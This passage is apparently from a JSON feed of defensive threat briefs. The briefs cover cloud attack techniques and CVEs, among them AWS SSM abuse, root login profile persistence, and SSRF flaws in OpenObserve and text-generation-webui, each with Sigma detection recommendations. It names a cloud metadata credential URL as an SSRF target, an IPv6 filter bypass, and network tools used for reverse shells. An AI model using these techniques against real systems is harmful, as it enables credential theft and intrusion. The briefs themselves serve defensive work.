unauthorized access to critical systems and data, potentially leading to data breaches, financial loss, and reputational damage. The impact is amplified in multi-cloud environments as the adversary can leverage the compromised secrets to move laterally between different cloud providers, increasing the scope and severity of the attack.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the provided Sigma rule \u0026ldquo;Multiple Cloud Secrets Accessed by Source Address\u0026rdquo; to your SIEM to detect this activity across your cloud environments. Enable required logging: GCP Audit DATA_READ for Secret Manager API, Azure Key Vault Diagnostic Logging, and AWS CloudTrail for Secrets Manager.\u003c/li\u003e\n\u003cli\u003eInvestigate any alerts triggered by the Sigma rule by validating the principal (user, service account) and reviewing related activity (authentication, privilege escalation). Check application context, user agent, and IP reputation as detailed in the rule\u0026rsquo;s triage steps.\u003c/li\u003e\n\u003cli\u003eRestrict or disable affected credentials or service accounts and rotate all accessed secrets if the activity is unauthorized or suspicious, as described in the rule\u0026rsquo;s Response and Remediation steps.\u003c/li\u003e\n\u003cli\u003eHarden identity security by enforcing MFA, reducing permissions to least privilege, and reviewing trust relationships. Audit visibility should be improved by ensuring logging is enabled across all cloud environments.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-10T16:27:52Z","date_published":"2026-04-10T16:27:52Z","id":"/briefs/2024-02-multi-cloud-secrets-access/","summary":"A single source IP accessing secret-management APIs across multiple cloud providers (AWS, GCP, Azure) and Kubernetes clusters within a short timeframe indicates potential credential theft, session hijacking, or token replay.","title":"Multiple Cloud Secrets Accessed by Single Source IP","url":"https://feed.craftedsignal.io/briefs/2024-02-multi-cloud-secrets-access/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["low"],"_cs_tags":["cloud","aws","ssm","execution"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThis rule identifies when an AWS Systems Manager (SSM) command document is created by a user or role who does not typically perform this action. The rule focuses on detecting anomalous creation of SSM command documents. Adversaries may create SSM command documents to execute commands on managed instances, potentially leading to unauthorized access, command and control, and data exfiltration. The rule utilizes AWS CloudTrail logs to monitor the \u003ccode\u003eCreateDocument\u003c/code\u003e API call within the SSM service. This activity is flagged when the user or role creating the document deviates from established patterns, indicating a potential security risk. This detection is relevant for organizations using AWS SSM for managing their infrastructure and aims to prevent unauthorized command execution on managed instances.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains initial access to an AWS account, potentially through compromised credentials or an exposed IAM role.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to create a new SSM Command document using the \u003ccode\u003eCreateDocument\u003c/code\u003e API call.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003eCreateDocument\u003c/code\u003e API call is logged by AWS CloudTrail with details about the user identity, request parameters, and document description.\u003c/li\u003e\n\u003cli\u003eThe detection rule analyzes CloudTrail logs, specifically looking for the \u003ccode\u003eCreateDocument\u003c/code\u003e event with a document type of \u003ccode\u003eCommand\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe rule identifies the user or role associated with the \u003ccode\u003eCreateDocument\u003c/code\u003e API call by inspecting the \u003ccode\u003eaws.cloudtrail.user_identity.arn\u003c/code\u003e field.\u003c/li\u003e\n\u003cli\u003eIf the user or role is considered rare or unusual for creating SSM Command documents within the organization, the rule triggers an alert.\u003c/li\u003e\n\u003cli\u003eThe attacker could then use the created document to execute arbitrary commands on managed instances.\u003c/li\u003e\n\u003cli\u003eSuccessful execution of these commands leads to various impacts, including unauthorized access, command and control, data exfiltration, or disruption of services.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eThe successful exploitation of this technique can lead to unauthorized access to AWS resources, potentially affecting all systems managed by AWS SSM in the targeted environment. The creation of malicious SSM command documents can lead to data exfiltration, system compromise, or denial of service. If successful, this can impact hundreds or thousands of systems depending on the scope of AWS SSM usage in the organization.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;AWS SSM Command Document Created by Rare User\u0026rdquo; to your SIEM, ensuring proper indexing of CloudTrail logs (index = [\u0026ldquo;filebeat-*\u0026rdquo;, \u0026ldquo;logs-aws.cloudtrail-*\u0026rdquo;]).\u003c/li\u003e\n\u003cli\u003eReview the \u003ccode\u003eaws.cloudtrail.request_parameters.content\u003c/code\u003e field in the CloudTrail logs for any suspicious commands within the created SSM document.\u003c/li\u003e\n\u003cli\u003eRestrict SSM document creation permissions to specific, trusted roles or users to prevent unauthorized document creation as mentioned in the overview.\u003c/li\u003e\n\u003cli\u003eMonitor the \u003ccode\u003eSendCommand\u003c/code\u003e API call related to the created SSM document to see if it is used to execute commands on managed instances, as described in the triage section.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-10T16:27:52Z","date_published":"2026-04-10T16:27:52Z","id":"/briefs/2024-11-aws-ssm-rare-user/","summary":"An AWS Systems Manager (SSM) command document creation by a user or role who does not typically perform this action, which can lead to unauthorized access, command and control, or data exfiltration.","title":"AWS SSM Command Document Created by Rare User","url":"https://feed.craftedsignal.io/briefs/2024-11-aws-ssm-rare-user/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["cloud","aws","iam","persistence"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThis rule detects the creation of a console login profile for the AWS account root user, a highly privileged account. While \u003ccode\u003eCreateLoginProfile\u003c/code\u003e is normally applied to IAM users, when executed from a temporary root session (e.g., via \u003ccode\u003eAssumeRoot\u003c/code\u003e) without specifying a \u003ccode\u003euserName\u003c/code\u003e, the profile is created for the root principal. This activity is especially concerning because it provides persistent access. An attacker gaining temporary root access via STS or credential compromise might exploit this to set a root password. The attacker can then use this new password to log in through the console. This method circumvents traditional access key rotation or disabling and can be employed even after the initial vulnerability is patched. This activity started being tracked on 2024-12-02, defenders need to be aware of this persistence mechanism and promptly investigate any such incidents.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains initial access to an AWS account with sufficient privileges, possibly through compromised credentials or an STS session.\u003c/li\u003e\n\u003cli\u003eThe attacker executes the \u003ccode\u003eAssumeRoot\u003c/code\u003e API call to assume the privileges of the root user.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the \u003ccode\u003eCreateLoginProfile\u003c/code\u003e API call without specifying a \u003ccode\u003euserName\u003c/code\u003e. This action creates a console login profile directly for the root account instead of an IAM user. The \u003ccode\u003eaws.cloudtrail.request_parameters\u003c/code\u003e will not contain \u003ccode\u003euserName=\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker sets a password for the root account using the \u003ccode\u003eCreateLoginProfile\u003c/code\u003e API. \u003ccode\u003epasswordResetRequired\u003c/code\u003e might be set to \u003ccode\u003etrue\u003c/code\u003e or omitted, with omission potentially indicating an attacker-controlled password.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the newly created root account password to log in to the AWS Management Console. The event will be logged as a \u003ccode\u003eConsoleLogin\u003c/code\u003e event.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the root account\u0026rsquo;s privileges to create or modify resources, escalate privileges, or exfiltrate data.\u003c/li\u003e\n\u003cli\u003eThe attacker maintains persistence by using the console login, even if the initially compromised credentials or temporary session tokens are revoked.\u003c/li\u003e\n\u003cli\u003eThe attacker may also create new IAM users or roles with elevated permissions to further solidify their presence.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eA successful attack can lead to complete control over the AWS environment. The attacker can create, modify, or delete resources; access sensitive data; and disrupt services. Because the root user has unrestricted privileges, the impact is extremely high. There have been no reported victim counts. However, any successful exploitation can have severe impacts including data breaches, financial loss, and reputational damage.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;AWS IAM Login Profile Added for Root\u0026rdquo; to detect unauthorized creation of login profiles for the root account and tune for your environment.\u003c/li\u003e\n\u003cli\u003eInvestigate any \u003ccode\u003eCreateLoginProfile\u003c/code\u003e events where \u003ccode\u003eaws.cloudtrail.user_identity.type\u003c/code\u003e is \u003ccode\u003eRoot\u003c/code\u003e and \u003ccode\u003eaws.cloudtrail.request_parameters\u003c/code\u003e does not contain \u003ccode\u003euserName=\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eEnable CloudTrail, GuardDuty, AWS Config, and Security Hub across all regions for continuous monitoring of root and IAM activity to improve overall visibility.\u003c/li\u003e\n\u003cli\u003eReview IAM policies for least-privilege adherence, focusing on \u003ccode\u003eiam:CreateLoginProfile\u003c/code\u003e, \u003ccode\u003eiam:UpdateLoginProfile\u003c/code\u003e, and \u003ccode\u003eiam:CreateAccessKey\u003c/code\u003e permissions.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-10T16:27:52Z","date_published":"2026-04-10T16:27:52Z","id":"/briefs/2024-12-aws-root-login-profile/","summary":"An adversary with temporary root access in AWS may create a login profile for the root account to establish persistent console access, even if the original access keys are rotated or disabled.","title":"AWS IAM Login Profile Added for Root","url":"https://feed.craftedsignal.io/briefs/2024-12-aws-root-login-profile/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["medium"],"_cs_tags":["aws","ec2","ssm","lolbin","execution","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThis threat brief focuses on detecting the execution of Living Off the Land Binaries (LOLBins) or GTFOBins on Amazon EC2 instances via AWS Systems Manager (SSM) \u003ccode\u003eSendCommand\u003c/code\u003e API. The technique involves correlating AWS CloudTrail \u003ccode\u003eSendCommand\u003c/code\u003e events with endpoint process execution by matching SSM command IDs. While AWS redacts command parameters in CloudTrail logs, this correlation technique reveals the actual commands executed on EC2 instances. This is critical because adversaries may abuse SSM to execute malicious commands remotely without requiring SSH or RDP access. They can leverage legitimate system utilities for various malicious purposes, including data exfiltration, establishing reverse shells, or facilitating lateral movement within the cloud environment. The rule was last updated on 2026-04-10.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains initial access to AWS via compromised credentials or an exposed IAM role.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the AWS CLI or API to initiate an SSM \u003ccode\u003eSendCommand\u003c/code\u003e to a target EC2 instance. The \u003ccode\u003eDocumentName\u003c/code\u003e parameter is set to \u003ccode\u003eAWS-RunShellScript\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe SSM agent on the EC2 instance receives the \u003ccode\u003eSendCommand\u003c/code\u003e request.\u003c/li\u003e\n\u003cli\u003eThe SSM agent executes a shell script (\u003ccode\u003e_script.sh\u003c/code\u003e) within a dedicated directory for orchestration.\u003c/li\u003e\n\u003cli\u003eThe shell script executes a LOLBin, such as \u003ccode\u003ecurl\u003c/code\u003e, \u003ccode\u003ewget\u003c/code\u003e, \u003ccode\u003epython\u003c/code\u003e, or \u003ccode\u003eperl\u003c/code\u003e, to perform malicious actions. The parent process of the LOLBin will be the SSM shell script.\u003c/li\u003e\n\u003cli\u003eThe LOLBin is used to download a malicious payload, establish a reverse shell, or exfiltrate data.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the established reverse shell to perform further actions on the EC2 instance.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation can lead to unauthorized access to EC2 instances, data exfiltration, deployment of malware, and lateral movement within the AWS environment. Although a number of impacted organizations is not available, this attack is able to bypass traditional network security controls. Organizations in any sector utilizing AWS EC2 instances and SSM are potentially at risk. The lack of required SSH or RDP access makes this technique particularly stealthy.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eEnable AWS CloudTrail logging to capture \u003ccode\u003eSendCommand\u003c/code\u003e events and monitor for \u003ccode\u003eAWS-RunShellScript\u003c/code\u003e in the \u003ccode\u003erequest_parameters\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;Detect AWS EC2 LOLBin Execution via SSM SendCommand\u0026rdquo; to your SIEM and tune for your environment.\u003c/li\u003e\n\u003cli\u003eMonitor endpoint process execution logs for the execution of LOLBins like \u003ccode\u003ecurl\u003c/code\u003e, \u003ccode\u003ewget\u003c/code\u003e, \u003ccode\u003epython\u003c/code\u003e, \u003ccode\u003eperl\u003c/code\u003e, \u003ccode\u003enc\u003c/code\u003e, etc., with parent processes related to SSM.\u003c/li\u003e\n\u003cli\u003eImplement strict IAM policies to restrict SSM \u003ccode\u003eSendCommand\u003c/code\u003e permissions to only authorized users and roles.\u003c/li\u003e\n\u003cli\u003eReview and audit existing SSM configurations to identify and remediate any overly permissive settings.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-10T16:27:52Z","date_published":"2026-04-10T16:27:52Z","id":"/briefs/2024-01-03-aws-ec2-lolbin-ssm/","summary":"Detection of Living Off the Land Binaries (LOLBins) or GTFOBins execution on EC2 instances via AWS Systems Manager (SSM) SendCommand API, potentially indicating malicious activity.","title":"AWS EC2 LOLBin Execution via SSM SendCommand","url":"https://feed.craftedsignal.io/briefs/2024-01-03-aws-ec2-lolbin-ssm/"},{"_cs_actors":[],"_cs_cves":[{"cvss":9.9,"id":"CVE-2026-5412"}],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["critical"],"_cs_tags":["vulnerability","authorization","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eCVE-2026-5412 identifies an authorization bypass vulnerability affecting Juju, an open-source service orchestration tool. Specifically, versions prior to 2.9.57 and 3.6.21 are susceptible. An authenticated user with low privileges can exploit this vulnerability by invoking the CloudSpec API method. This method, intended for controller bootstrapping, inadvertently exposes sensitive cloud credentials when accessed by unauthorized users. Successful exploitation grants access to the credentials used to manage the cloud environment where Juju is deployed. This poses a significant risk, potentially allowing attackers to compromise the entire cloud infrastructure managed by the vulnerable Juju controller. Defenders should prioritize patching vulnerable Juju deployments.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker authenticates to the Juju controller with a low-privileged account.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious API request to the \u003ccode\u003eCloudSpec\u003c/code\u003e method.\u003c/li\u003e\n\u003cli\u003eThe Juju controller, lacking proper authorization checks, processes the request.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003eCloudSpec\u003c/code\u003e method retrieves the cloud credentials used for bootstrapping.\u003c/li\u003e\n\u003cli\u003eThe controller returns the cloud credentials to the attacker.\u003c/li\u003e\n\u003cli\u003eAttacker obtains the sensitive cloud credentials, such as AWS access keys or Azure service principal secrets.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the stolen cloud credentials to access and control cloud resources.\u003c/li\u003e\n\u003cli\u003eAttacker achieves complete compromise of the cloud environment.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of CVE-2026-5412 allows a low-privileged, authenticated attacker to steal cloud credentials. This can lead to complete compromise of the cloud infrastructure managed by the vulnerable Juju controller. The impact includes unauthorized access to data, potential data breaches, denial of service, and the ability to deploy malicious workloads within the cloud environment. The severity is heightened by the ease of exploitation and the high value of the exposed cloud credentials.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade Juju controllers to versions 2.9.57 or 3.6.21 to remediate CVE-2026-5412.\u003c/li\u003e\n\u003cli\u003eImplement the Sigma rule \u0026ldquo;Detect Juju CloudSpec API Access\u0026rdquo; to detect unauthorized calls to the CloudSpec API method in Juju environments.\u003c/li\u003e\n\u003cli\u003eMonitor Juju controller logs for suspicious API requests originating from low-privileged accounts.\u003c/li\u003e\n\u003cli\u003eReview and enforce strict access control policies within the cloud environment to limit the impact of compromised credentials.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-10T13:16:45Z","date_published":"2026-04-10T13:16:45Z","id":"/briefs/2026-04-juju-auth-bypass/","summary":"CVE-2026-5412 describes an authorization issue in Juju versions prior to 2.9.57 and 3.6.21, where a low-privileged authenticated user can call the CloudSpec API method to extract cloud credentials used to bootstrap the controller, leading to sensitive credential exposure.","title":"Juju CloudSpec API Authorization Bypass (CVE-2026-5412)","url":"https://feed.craftedsignal.io/briefs/2026-04-juju-auth-bypass/"},{"_cs_actors":[],"_cs_cves":[{"cvss":7.5,"id":"CVE-2026-40116"}],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["cve-2026-40116","resource-exhaustion","websocket","api-abuse","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003ePraisonAI, a multi-agent teams system, contains a vulnerability in versions prior to 4.5.128 that exposes the \u003ccode\u003e/media-stream\u003c/code\u003e WebSocket endpoint in its call module. This endpoint lacks authentication or Twilio signature validation, allowing any client to establish a connection. Each successful connection initiates an authenticated session to OpenAI\u0026rsquo;s Realtime API, utilizing the server\u0026rsquo;s API key. Due to the absence of rate limits, connection limits, or message size restrictions, a malicious actor can exploit this vulnerability by creating numerous concurrent connections. This can lead to the exhaustion of server resources and a significant drain on the victim\u0026rsquo;s OpenAI API credits. This vulnerability is addressed and patched in version 4.5.128.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker identifies a PraisonAI instance running a vulnerable version (prior to 4.5.128).\u003c/li\u003e\n\u003cli\u003eAttacker establishes a WebSocket connection to the \u003ccode\u003e/media-stream\u003c/code\u003e endpoint of the PraisonAI instance without providing any authentication credentials.\u003c/li\u003e\n\u003cli\u003eThe PraisonAI server, upon receiving the unauthenticated WebSocket connection, creates an authenticated session with the OpenAI Realtime API using its own API key.\u003c/li\u003e\n\u003cli\u003eAttacker sends a large volume of messages through the WebSocket connection, exploiting the lack of message rate limits.\u003c/li\u003e\n\u003cli\u003eAttacker initiates multiple concurrent WebSocket connections to the \u003ccode\u003e/media-stream\u003c/code\u003e endpoint.\u003c/li\u003e\n\u003cli\u003eThe PraisonAI server becomes overloaded due to the excessive number of connections and message processing demands.\u003c/li\u003e\n\u003cli\u003eThe victim\u0026rsquo;s OpenAI API credits are rapidly depleted as the PraisonAI server processes requests from the attacker\u0026rsquo;s connections.\u003c/li\u003e\n\u003cli\u003eThe PraisonAI server experiences degraded performance or becomes completely unresponsive, impacting legitimate users.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this vulnerability results in resource exhaustion on the PraisonAI server, potentially causing denial of service for legitimate users. Furthermore, it leads to the unauthorized consumption of the victim\u0026rsquo;s OpenAI API credits, resulting in unexpected charges and potential disruption of services reliant on the OpenAI API. The number of affected organizations depends on the prevalence of vulnerable PraisonAI instances deployed.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade PraisonAI installations to version 4.5.128 or later to patch CVE-2026-40116.\u003c/li\u003e\n\u003cli\u003eImplement rate limiting on WebSocket connections to the \u003ccode\u003e/media-stream\u003c/code\u003e endpoint to mitigate resource exhaustion.\u003c/li\u003e\n\u003cli\u003eMonitor OpenAI API usage for unexpected spikes in activity that may indicate exploitation of this vulnerability.\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eDetectSuspiciousPraisonAIWebSocketConnections\u003c/code\u003e to identify potential exploitation attempts by detecting a high number of connections to the \u003ccode\u003e/media-stream\u003c/code\u003e endpoint.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-09T22:16:35Z","date_published":"2026-04-09T22:16:35Z","id":"/briefs/2026-04-praisonai-websocket-vuln/","summary":"PraisonAI before version 4.5.128 is vulnerable to resource exhaustion and API credit draining due to the `/media-stream` WebSocket endpoint accepting unauthenticated connections, allowing attackers to exhaust server resources and drain OpenAI API credits.","title":"PraisonAI Unauthenticated WebSocket Allows Resource Exhaustion","url":"https://feed.craftedsignal.io/briefs/2026-04-praisonai-websocket-vuln/"},{"_cs_actors":[],"_cs_cves":[{"cvss":7.7,"id":"CVE-2026-39361"}],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["ssrf","openobserve","cloud","vulnerability"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eOpenObserve, a cloud-native observability platform, contains a server-side request forgery (SSRF) vulnerability (CVE-2026-39361) in versions 0.70.3 and earlier. The vulnerability resides in the \u003ccode\u003evalidate_enrichment_url\u003c/code\u003e function within \u003ccode\u003esrc/handler/http/request/enrichment_table/mod.rs\u003c/code\u003e. This function fails to properly block IPv6 addresses due to the Rust\u0026rsquo;s \u003ccode\u003eurl\u003c/code\u003e crate returning IPv6 addresses with surrounding brackets (e.g., \u0026ldquo;[::1]\u0026rdquo;) instead of without. This allows an authenticated attacker to bypass intended restrictions and access internal services that are normally blocked from external access. Successful exploitation can lead to the retrieval of sensitive IAM credentials via AWS IMDSv1 (169.254.169.254), GCP metadata, or Azure IMDS on cloud deployments, and probing of internal network services on self-hosted deployments.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn authenticated attacker identifies the \u003ccode\u003evalidate_enrichment_url\u003c/code\u003e function as a potential SSRF target.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious URL containing an IPv6 address with surrounding brackets (e.g., \u003ccode\u003ehttp://[::1]\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eThe attacker submits a request to the OpenObserve server, providing the malicious URL to the \u003ccode\u003evalidate_enrichment_url\u003c/code\u003e function.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003evalidate_enrichment_url\u003c/code\u003e function fails to properly validate the IPv6 address due to the brackets.\u003c/li\u003e\n\u003cli\u003eThe OpenObserve server initiates a request to the attacker-specified IPv6 address, bypassing intended access restrictions.\u003c/li\u003e\n\u003cli\u003eIn a cloud environment, the attacker targets the AWS IMDSv1 endpoint (169.254.169.254) to retrieve IAM credentials.\u003c/li\u003e\n\u003cli\u003eThe OpenObserve server retrieves the IAM credentials from the IMDSv1 endpoint and returns them to the attacker.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the stolen IAM credentials to gain unauthorized access to cloud resources.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this SSRF vulnerability can lead to significant consequences, especially in cloud deployments. An attacker can retrieve sensitive IAM credentials from cloud metadata services like AWS IMDSv1 (169.254.169.254), GCP metadata, or Azure IMDS. These stolen credentials can then be used to gain unauthorized access to critical cloud resources, potentially leading to data breaches, service disruption, and financial losses. The vulnerability affects OpenObserve instances version 0.70.3 and earlier. The number of affected organizations is currently unknown, but any organization using a vulnerable version of OpenObserve is at risk.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade OpenObserve to a version greater than 0.70.3 to patch CVE-2026-39361.\u003c/li\u003e\n\u003cli\u003eMonitor network connections originating from OpenObserve servers to internal IP addresses such as 169.254.169.254 using the provided Sigma rule to detect potential SSRF attempts.\u003c/li\u003e\n\u003cli\u003eImplement network segmentation and access controls to limit the impact of a successful SSRF attack, restricting access from OpenObserve servers to sensitive internal services.\u003c/li\u003e\n\u003cli\u003eConsider disabling IMDSv1 and migrating to IMDSv2 on AWS EC2 instances to mitigate the risk of IAM credential theft.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-07T20:16:29Z","date_published":"2026-04-07T20:16:29Z","id":"/briefs/2024-01-30-openobserve-ssrf/","summary":"OpenObserve versions 0.70.3 and earlier are vulnerable to a server-side request forgery (SSRF) attack due to improper validation of IPv6 addresses in the validate_enrichment_url function, potentially allowing authenticated attackers to access internal services and retrieve sensitive cloud metadata.","title":"OpenObserve SSRF via Improper IPv6 Validation","url":"https://feed.craftedsignal.io/briefs/2024-01-30-openobserve-ssrf/"},{"_cs_actors":[],"_cs_cves":[{"cvss":7.5,"id":"CVE-2026-35486"}],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["ssrf","text-generation-webui","cve-2026-35486","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThe text-generation-webui application is an open-source web interface for running Large Language Models (LLMs). Prior to version 4.3, the superbooga and superboogav2 RAG (Retrieval-Augmented Generation) extensions are susceptible to a Server-Side Request Forgery (SSRF) vulnerability. These extensions fetch user-provided URLs using the \u003ccode\u003erequests.get()\u003c/code\u003e function without proper validation. Specifically, there are no checks for URL schemes (e.g., \u003ccode\u003efile://\u003c/code\u003e, \u003ccode\u003egopher://\u003c/code\u003e), IP address filtering, or hostname whitelisting. This lack of validation allows a malicious actor to craft URLs that target internal resources, cloud metadata endpoints (e.g., AWS, Azure, GCP), and other sensitive services. Successful exploitation can lead to the exfiltration of sensitive data, including IAM credentials, and allow an attacker to probe internal network infrastructure. Version 4.3 of text-generation-webui addresses this vulnerability.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker identifies an instance of text-generation-webui running a vulnerable version (prior to 4.3) with the superbooga or superboogav2 RAG extension enabled.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious URL targeting a cloud metadata endpoint (e.g., \u003ccode\u003ehttp://169.254.169.254/latest/meta-data/iam/security-credentials/\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eThe attacker injects the malicious URL into a text-generation-webui RAG extension user input field.\u003c/li\u003e\n\u003cli\u003eThe application, using the \u003ccode\u003erequests.get()\u003c/code\u003e function, fetches the content from the attacker-controlled URL without validation.\u003c/li\u003e\n\u003cli\u003eThe cloud metadata, containing potentially sensitive information like temporary IAM credentials, is retrieved by the application.\u003c/li\u003e\n\u003cli\u003eThe retrieved data is processed through the RAG pipeline.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages the RAG pipeline to extract the content from the application.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the exfiltrated credentials to access and compromise other resources within the victim\u0026rsquo;s cloud environment.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of CVE-2026-35486 can have significant consequences. An attacker can potentially gain unauthorized access to cloud resources by stealing IAM credentials. This could lead to data breaches, service disruption, and financial loss. The vulnerability affects any text-generation-webui instance running a version prior to 4.3 with the vulnerable RAG extensions enabled, impacting individuals and organizations utilizing this software for LLM-based applications.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade text-generation-webui to version 4.3 or later to remediate the SSRF vulnerability (CVE-2026-35486).\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;Detect text-generation-webui SSRF Attempt\u0026rdquo; to your SIEM to detect exploitation attempts targeting cloud metadata endpoints.\u003c/li\u003e\n\u003cli\u003eMonitor web server logs for outbound connections to internal IP addresses (e.g., 169.254.169.254) originating from the text-generation-webui application.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-07T16:16:26Z","date_published":"2026-04-07T16:16:26Z","id":"/briefs/2026-04-text-generation-webui-ssrf/","summary":"The text-generation-webui application before version 4.3 is vulnerable to server-side request forgery (SSRF) due to insufficient validation of user-supplied URLs by the superbooga and superboogav2 RAG extensions, potentially leading to credential theft and internal network reconnaissance.","title":"text-generation-webui SSRF Vulnerability (CVE-2026-35486)","url":"https://feed.craftedsignal.io/briefs/2026-04-text-generation-webui-ssrf/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["critical"],"_cs_tags":["rowhammer","privilege-escalation","gpu","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eA team of researchers from the University of Toronto has discovered a new Rowhammer attack named GPUBreach, which exploits GDDR6 memory in Nvidia GPUs. This attack induces bit flips that corrupt GPU page tables. In combination with existing memory-safety bugs in Nvidia drivers, GPUBreach enables arbitrary read-write access to memory. This ultimately leads to CPU-side privilege escalation, resulting in a root shell and full system compromise. This poses a significant threat to cloud environments, where multiple users share the same physical GPU. The researchers reported their findings to Nvidia in November 2025. Google awarded a $600 bounty for the vulnerability discovery.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains code execution privileges on a GPU within a shared environment (e.g., cloud).\u003c/li\u003e\n\u003cli\u003eAttacker utilizes the GPUBreach technique to repeatedly access 